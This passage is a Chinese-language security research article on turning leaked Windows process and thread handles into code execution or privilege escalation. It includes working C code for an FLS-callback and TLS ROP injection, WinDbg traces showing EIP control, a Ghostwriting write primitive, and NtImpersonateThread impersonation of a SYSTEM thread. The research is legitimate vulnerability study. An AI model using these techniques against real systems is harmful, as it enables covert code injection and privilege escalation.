PROCESS_VM_*
这涵盖了VM访问权限的三种类型:WRITE/READ/OPERATION。前两个权限应该是不言自明的,第三个权限允许操作虚拟地址空间本身,例如修改页面保护(VirtualProtectEx)或分配内存(VirtualAllocEx)。本文不打算介绍这三种权限的排列组合情况,但我认为`PROCESS_VM_WRITE`是必要的前置条件。虽然`PROCESS_VM_OPERATION`可以令远程进程崩溃,不过也会引发其他缺陷,同时,它既不是通用的,也不是优雅的方法。`PROCESS_VM_READ`同上。
事实证明,`PROCESS_VM_WRITE`本身就是一个挑战,我还没有找到一个通用的解决方案。乍一看,Hexacorn [12]介绍的一套粉碎式注入策略似乎是完美的:它们只要求远程进程使用窗口、剪贴板注册等。既便如此,这些要求也不一定能得到满足。对我们来说不幸的是,其中许多都不允许跨会话访问或扩展完整性级别。我们虽然可以对远程进程执行写操作,但仍然需要借助其他方法来控制执行流程。
除了无法修改页面权限外,我们还无法读取或映射/分配内存。但是,还是很多方法可以从远程进程泄漏内存而不直接与它进行交互的。
例如,通过`NtQuerySystemInformation`,我们可以枚举远程进程内的所有线程,无论其IL如何。这样,我们就可以获得一个`SYSTEM_EXTENDED_THREAD_INFORMATION`对象的列表,其中包含TEB的地址等。此外,我们还可以通过`NtQueryInformationProcess`获取远程进程PEB地址,不过,必须具有`PROCESS_QUERY_INFORMATION`权限,这一要求会给我们带来很大的麻烦。为了解决这个问题,可以将`PROCESS_QUERY_INFORMATION`附加到`PROCESS_VM_WRITE`上。
实际上,我采取的方法有点复杂,不过,它还是比较可靠的。如果您已经阅读过我之前关于纤程本地存储(FLS)方面的文章[13],就会了解这种方法。如果您还没有读过这篇文章的话,不妨花点时间读一下。
简而言之,我们可以滥用光纤和FLS来覆盖“…在纤程删除、线程退出以及释放FLS索引时”执行的回调函数。进程的主线程会不断设置纤程,因此,总是会有一个回调函数可用于覆盖(msvcrt!_freefls)。这些回调函数通常存储在PEB(FlsCallback)和TEB(FlsData)中的纤程本地存储中。通过粉碎FlsCallback,我们就能够在执行纤程操作时控制系统的执行流程。
但是,由于只具有对进程的写访问权限,所以这个过程有点费劲。例如,由于我们无法分配内存,所以,我们利用一些已知空间来存放payload。另外,PEB/TEB中的FlsCallback和FlsData变量都是指针,所以,我们也无法读取它们。
实际上,隐藏payload还是非常容易做到的。这是因为,我们已经可以泄漏PEB/TEB地址,所以,我们实际上已经得到了两个非常强大的原语。在查看了这两个结构之后,我发现线程本地存储(TLS)正好为我们提供了足够的空间来存储ROP Gadget和一个瘦身版的payload。而TLS是嵌入在结构本身之中的,因此,我们可以直接通过偏移量找到TEB地址。如果您不熟悉TLS的话,那么我们强烈建议先参阅Skywing撰写的一篇文章[14]。
不过,获得对回调函数的控制确实有点棘手,这是因为指向`_FLS_CALLBACK_INFO`结构的指针是存储在PEB(FlsCallback)中的,并且该结构是不透明的。由于我们实际上无法读取这个指针,因此,我们无法直接覆盖该指针。
我采取的方法,是在PEB中覆盖FlsCallback指针本身,实质上就是在TLS中创建我们自己伪造的`_FLS_CALLBACK_INFO`结构。这是一个非常简单的结构,实际上只有一个重要值:回调函数指针。
此外,根据FLS的文章,我们还需要控制ECX/RCX。这样,我们就可以通过跳板来执行我们的ROP payload了。不过,这要求更新`TEB-> FlsData`,但是,由于这是一个指针,所以我们很难做到。然而,就像`FlsCallback`一样,我们能够覆盖这个值并创建自己的数据结构——这倒不是什么难事。TLS缓冲区的布局如下所示:
// // 0 ] 00000000 00000000 [STACK PIVOT] 00000000 // 16 ] 00000000 00000000 [ECX VALUE] [NEW STACK PTR] // 32 ] 41414141 41414141 41414141 41414141 // ``` 幸运的是,恰好在`kernelbase!SwitchToFiberContext`(或Windows 7上的` kernel32!SwitchToFiber`)中有一个完美的跳板: ``` 7603c415 8ba1d8000000 mov esp,dword ptr [ecx+0D8h] 7603c41b c20400 ret 4
综合以上几点,我们最终得到:
eax=7603c415 ebx=7ffdf000 ecx=7ffded54 edx=00280bc9 esi=00000001 edi=7ffdee28 eip=7603c415 esp=0019fd6c ebp=0019fd84 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 kernel32!SwitchToFiber+0x115: 7603c415 8ba1d8000000 mov esp,dword ptr [ecx+0D8h] ds:0023:7ffdee2c=7ffdee30 0:000> p eax=7603c415 ebx=7ffdf000 ecx=7ffded54 edx=00280bc9 esi=00000001 edi=7ffdee28 eip=7603c41b esp=7ffdee30 ebp=0019fd84 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 kernel32!SwitchToFiber+0x11b: 7603c41b c20400 ret 4 0:000> dd esp l3 7ffdee30 41414141 41414141 41414141
现在,我们已经能够控制EIP和堆栈跳板了。实际上,只需调用`LoadLibraryA`即可从任意位置加载磁盘上的DLL。这一招很好用,也很可靠,甚至在进程退出时也会执行并挂起,具体取决于你在DLL中的操作。下面给出实现所有这些目标的最终代码:
_NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll"), "NtWriteVirtualMemory"); LPVOID lpBuf = malloc(13*sizeof(SIZE_T)); HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION, FALSE, dwTargetPid); if (hProcess == NULL) return; SIZE_T LoadLibA = (SIZE_T)LoadLibraryA; SIZE_T RemoteTeb = GetRemoteTeb(hProcess), TlsAddr = 0; TlsAddr = RemoteTeb + 0xe10; SIZE_T RemotePeb = GetRemotePeb(hProcess); SIZE_T PivotGadget = 0x7603c415; SIZE_T StackAddress = (TlsAddr + 28) - 0xd8; SIZE_T RtlExitThread = (SIZE_T)GetProcAddress(GetModuleHandleA("ntdll"), "RtlExitUserThread"); SIZE_T LoadLibParam = (SIZE_T)TlsAddr + 48; // // construct our TlsSlots payload: // 0 ] 00000000 00000000 [STACK PIVOT] 00000000 // 16 ] 00000000 00000000 [ECX VALUE] [NEW STACK PTR] // 32 ] [LOADLIB ADDR] 41414141 [RET ADDR] [LOADLIB ARG PTR] // 48 ] 41414141 // memset(lpBuf, 0x0, 16); *((DWORD*)lpBuf + 2) = PivotGadget; *((DWORD*)lpBuf+ 4) = 0; *((DWORD*)lpBuf + 5) = 0; *((DWORD*)lpBuf + 6) = StackAddress; StackAddress = TlsAddr + 32; *((DWORD*)lpBuf + 7) = StackAddress; *((DWORD*)lpBuf + 8) = LoadLibA; *((DWORD*)lpBuf + 9) = 0x41414141; // junk *((DWORD*)lpBuf + 10) = RtlExitThread; *((DWORD*)lpBuf + 11) = (SIZE_T)TlsAddr + 48; *((DWORD*)lpBuf + 12) = 0x41414141; // DLL name (AAAA.dll) NtWriteVirtualMemory(hProcess, (PVOID)TlsAddr, lpBuf, (13 * sizeof(SIZE_T)), NULL); // update FlsCallback in PEB and FlsData in TEB StackAddress = TlsAddr + 12; NtWriteVirtualMemory(hProcess, (LPVOID)(RemoteTeb + 0xfb4), (PVOID)&StackAddress, sizeof(SIZE_T), NULL); NtWriteVirtualMemory(hProcess, (LPVOID)(RemotePeb + 0x20c), (PVOID)&TlsAddr, sizeof(SIZE_T), NULL);
如果一切正常,在执行回调函数时,你应该看到会从磁盘加载`AAAA.dll`的尝试(只需关闭进程)。需要说明的是,我们之所以在这里使用`NtWriteVirtualMemory`,是因为`WriteProcessMemory`需要用到我们可能不具备的`PROCESS_VM_OPERATION`权限。
这个访问权限的另一种替代品可能是“PROCESS_VM_WRITE|PROCESS_VM_READ”。这样的话,我们就可以看到地址空间,但仍然无法将内存分配给或映射到远程进程。使用上述策略时,我们可以摆脱`PROCESS_QUERY_INFORMATION`的要求,只需从TEB中读取PEB地址即可。
最后,我们还可以考虑`PROCESS_VM_WRITE|PROCESS_VM_READ|PROCESS_VM_OPERATION`权限。一旦获得了`PROCESS_VM_OPERATION`权限,我们的活动余地就大了,因为这样就可以分配内存并更改页面权限。这使我们可以更轻松地使用上述策略,还可以执行内联和IAT hook。
线程的访问权限
与进程句柄一样,我们这里也可以立即忽略某些访问权限:
SYNCHRONIZE THREAD_QUERY_INFORMATION THREAD_GET_CONTEXT THREAD_QUERY_LIMITED_INFORMATION THREAD_SUSPEND_RESUME THREAD_TERMINATE
之后,将留下下列权限:
THREAD_ALL_ACCESS THREAD_DIRECT_IMPERSONATION THREAD_IMPERSONATE THREAD_SET_CONTEXT THREAD_SET_INFORMATION THREAD_SET_LIMITED_INFORMATION THREAD_SET_THREAD_TOKEN
THREAD_ALL_ACCESS
其实,我们可以通过这些权限做很多事情,包括以下线程访问权限部分中描述的所有内容。我个人觉得`THREAD_DIRECT_IMPERSONATION`策略是最简单的。
此外,我们还有另一个选择,虽然它显得更加神秘,但同样也是可行的。请注意,线程访问权限无法为我们提供VM读/写权限,因此,我们无法对线程执行“写入”操作,因为这没有多大意义。然而,我们还拥有大量的API,它们能够授予我们下列权限:`SetThreadContext` [4]和`GetThreadContext` [5]。大约十年前,出现过一种非常“低调”的代码注入技术,名为Ghostwriting [6]的。根据该技术发明者的说法,这是一种代码注入策略,并且不需要使用典型的win32 API调用,如WriteProcessMemory和NtMapViewOfSection,甚至无需借助OpenProcess。
简而言之,该技术可以通过一组特定的汇编代码gadget来利用`SetThreadContext`/`GetThreadContext`函数,从而将payload以dword为单位写入线程堆栈。一旦写入这些payload,就会通过`NtProtectVirtualMemoryAddress`将其权限标记为RWX,并将代码的控制流重定向到相应的payload。
为了找到完成写入操作的gadget,他们会在NTDLL中寻找下列代码:
MOV [REG1], REG2 RET
然后,他们定位一个`JMP $`,或者跳到这里,它将作为一个自动锁和无限循环运行。一旦我们找到了这两个gadget,我们就会挂起该线程。然后,更新RIP,使其指向MOV gadget,并将REG1设置为调整后的RSP,使返回地址变成“JMP $”,并将REG2设置为jump gadget。
void WriteQword(CONTEXT context, HANDLE hThread, size_t WriteWhat, size_t WriteWhere) { SetContextRegister(&context, g_rside, WriteWhat); SetContextRegister(&context, g_lside, WriteWhere); context.Rsp = StackBase; context.Rip = MovAddr; WaitForThreadAutoLock(hThread, &context, JmpAddr); }
其中,`SetContextRegister`只是将我们的gadget中的REG1和REG2赋给适当的寄存器。设置好后,我们将设置堆栈基地址,并将RIP更新为指向我们的gadget。当第一次执行该操作时,我们会将`JMP $` gadget写入堆栈。
之后,代码就会用所谓的线程自动锁来控制执行流程:
void WaitForThreadAutoLock(HANDLE Thread, CONTEXT* PThreadContext,HWND ThreadsWindow,DWORD AutoLockTargetEIP) { SetThreadContext(Thread,PThreadContext); do { ResumeThread(Thread); Sleep(30); SuspendThread(Thread); GetThreadContext(Thread,PThreadContext); } while(PThreadContext->Eip!=AutoLockTargetEIP); }
它实际上只是一个waiter,允许线程在检查是否已达到“sink”gadget之前每次运行一点点。
一旦我们的执行命中跳转,我们就获得了write原语。之后,我们只需让RIP重新指向MOV gadget,更新RSP,并将REG1和REG2设置为我们想要的任何值即可。
我已经将该技术的核心函数移植到了x64平台,以展示其可行性。我只是执行`LoadLibraryA`来加载任意路径中的任意DLL,而不是使用它来执行整个payload。相关代码可从Github上下载[11]。
此外,在参加Blackhat 2019大会时,我观看了SafeBreach Labs小组的进程注入演讲。他们发布了一个支持x64平台的GhostWriting [10]技术的代码注入工具,感兴趣的读者不妨试用一下。
THREAD_DIRECT_IMPERSONATION
与`thread_impersonate`的不同之处在于,它允许模拟线程令牌(token),而不仅仅是模拟本身。正如James Forshaw[0][7]所指出的,利用该漏洞只是一个使用`ntimpersonatethread `[8]API的问题而已。使用这个函数,我们可以创建一个完全可控的线程,并能模拟特权线程:
hNewThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpRtl, 0, CREATE_SUSPENDED, &dwTid); NtImpersonateThread(hNewThread, hThread, &sqos);
这样的话,`hNewThread`将使用SYSTEM令牌来运行,允许我们在特权模拟上下文中执行我们需要的任何操作。
THREAD_IMPERSONATE
不幸的是,我还没有找到能够利用这个漏洞的稳定而通用的方法。因为我们既无法查询远程线程,也无法控制其执行流程,只能管理其模拟状态。
不过,我们可以利用它来强制特权线程使用`NtImpersonateThread`调用来模拟我们,这可能会释放出应用程序中的其他逻辑漏洞。例如,如果服务是在用户上下文(通常具有SYSTEM权限)下创建共享资源(例如文件),则我们可以获得该文件的所有权。如果多个特权线程都是通过它来获取某些信息(例如配置),则可能导致代码执行问题。
THREAD_SET_CONTEXT
获得该权限后,我们不仅可以访问`SetThreadContext`,同时还能使用`QueueUserAPC`。通过它,我们可以获得一个带有警告提示的`CreateRemoteThread`原语。对于由线程处理的APC,它需要进入可警告状态。当执行一组特定的win32函数时,就会发生这种情况,因此,线程完全有可能始终无法进入可警告状态。
如果我们使用的是一个“不配合”的线程,这时`SetThreadContext`就派上用场了。利用它,我们可以通过`NtTestAlert`函数强制线程进入可警告状态。当然,由于无法调用`GetThreadContext`,因此,成功利用这个漏洞后,我们很可能会失去对线程的控制。
结合`THREAD_GET_CONTEXT`时,我们可以利用这个权限“仿造”类似于上面`THREAD_ALL_ACCESS`部分讨论的Ghostwriting代码注入技术。
THREAD_SET_INFORMATION
需要在线程上设置各种ThreadInformationClass [9]值时,我们可以借助于`NtSetInformationThread`。仔细研究了所有这些值后,我仍然没有找到可以直接影响远程线程的方法。其中,有些值虽然很有趣,但是并不常见(如`ThreadSetTlsArrayAddress`、`ThreadAttachContainer`等),而有些则还没有实现,或者需要`SeDebugPrivilege`等权限。
此外,我们至今尚未找到可以利用它们的方法。
THREAD_SET_LIMITED_INFORMATION
这允许调用方设置`THREAD_INFORMATION_CLASS`值的子集,即:`ThreadPriority`、`ThreadPriorityBoost`、`ThreadAffinityMask`、`ThreadSelectedCpuSets`和`ThreadNameInformation`。这些都无法让我们接近可利用的原语。
THREAD_SET_THREAD_TOKEN
与`THREAD_IMPERSONATE `类似,我尚未找到滥用该权限的直接且通用的方法。虽然可以设置线程的令牌或修改一些字段(例如通过`SetTokenInformation`),但这并没有给我们带来太大的帮助。
小结
我对线程权限看起来如此平淡无奇感到有点失望。事实证明,几乎一半的线程权限是无法单独加以利用的,即使结合其他权限,仍然如此。如上所述,要将泄漏的线程句柄转化为可利用的东西,必须具有以下三种权限之一:
THREAD_ALL_ACCESS THREAD_DIRECT_IMPERSONATION THREAD_SET_CONTEXT
如果缺乏这些权限的话,要想成功利用它们的话,必须对目标具有深入的了解,并且,还要具备相当的创造力。
同样,进程可直接利用的特定权限子集为:
PROCESS_ALL_ACCESS PROCESS_CREATE_PROCESS PROCESS_CREATE_THREAD PROCESS_DUP_HANDLE PROCESS_VM_WRITE
除此之外,要想得手,还需要发挥自己的创造力。
参考文献
[0]<https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html>\
[1]<https://googleprojectzero.blogspot.com/2018/05/bypassing-mitigations-by-attacking-jit.html>\
[2]<https://d4stiny.github.io/Local-Privilege-Escalation-on-most-Dell-computers/>\
[3]<https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights>\
[4]<https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext>\
[5]<https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getthreadcontext>\
[6]<http://blog.txipinet.com/2007/04/05/69-a-paradox-writing-to-another-process-without-openning-it-nor-actually-writing-to-it/>\
[7]<https://tyranidslair.blogspot.com/2017/08/the-art-of-becoming-trustedinstaller.html>\
[8]<https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FThread%2FNtImpersonateThread.html>\
[9]<https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/blob/master/NtApiDotNet/NtThreadNative.cs#L51>\
[10]<https://github.com/SafeBreach-Labs/pinjectra>\
[11]<https://gist.github.com/hatRiot/aa77f007601be75684b95fe7ba978079>\
[12]<http://www.hexacorn.com/blog/category/code-injection/>\
[13]<http://hatriot.github.io/blog/2019/08/12/code-execution-via-fiber-local-storage>\
[14]<http://www.nynaeve.net/?p=180>\
[15]<https://github.com/processhacker/processhacker/blob/master/phnt/include/ntpsapi.h#L98>